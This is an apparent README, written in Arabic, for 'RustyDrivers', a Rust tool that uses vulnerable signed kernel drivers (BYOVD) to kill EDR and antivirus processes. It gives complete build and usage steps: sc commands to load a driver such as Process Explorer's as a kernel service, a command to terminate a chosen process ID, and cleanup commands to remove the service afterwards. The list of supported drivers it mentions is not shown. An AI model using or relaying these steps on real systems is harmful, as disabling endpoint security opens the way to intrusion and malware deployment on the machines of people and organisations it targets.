RustyDrivers

هذا المشروع عبارة عن مجموعة BYOVD تركّز على إنهاء عمليات EDR / AV.

حاليًا، يتم دعم برامج التشغيل التالية:

"محظور" تعني أن برنامج التشغيل مدرج في قائمة الحظر من Microsoft ولا يمكن تشغيله على نظام Windows محدّث.

البناء

cargo build --release

الاستخدام

rusty_drivers.exe --help            
Usage: rusty_drivers.exe --pid <PID> --driver <DRIVER>

Options:
  -p, --pid <PID>
  -d, --driver <DRIVER>
  -h, --help             Print help
  -V, --version          Print version

مثال

بما أن الملف التنفيذي لا يسجّل خدمة لاستغلال برنامج التشغيل، يجب القيام بذلك يدويًا:

sc create Test123 binpath= c:\test\<DRIVER>.sys type= kernel start= auto

بعد ذلك، يمكن بدء الخدمة:

sc start Test123

أخيرًا، لإيقاف العملية ذات المعرف PID 1234 باستخدام برنامج تشغيل Process Explorer، يمكن استخدام الأمر التالي:

rusty_drivers.exe --pid 1234 --driver process_explorer          

لا تنسَ تنظيف الخدمة بعد ذلك:

sc stop Test123
sc delete Test123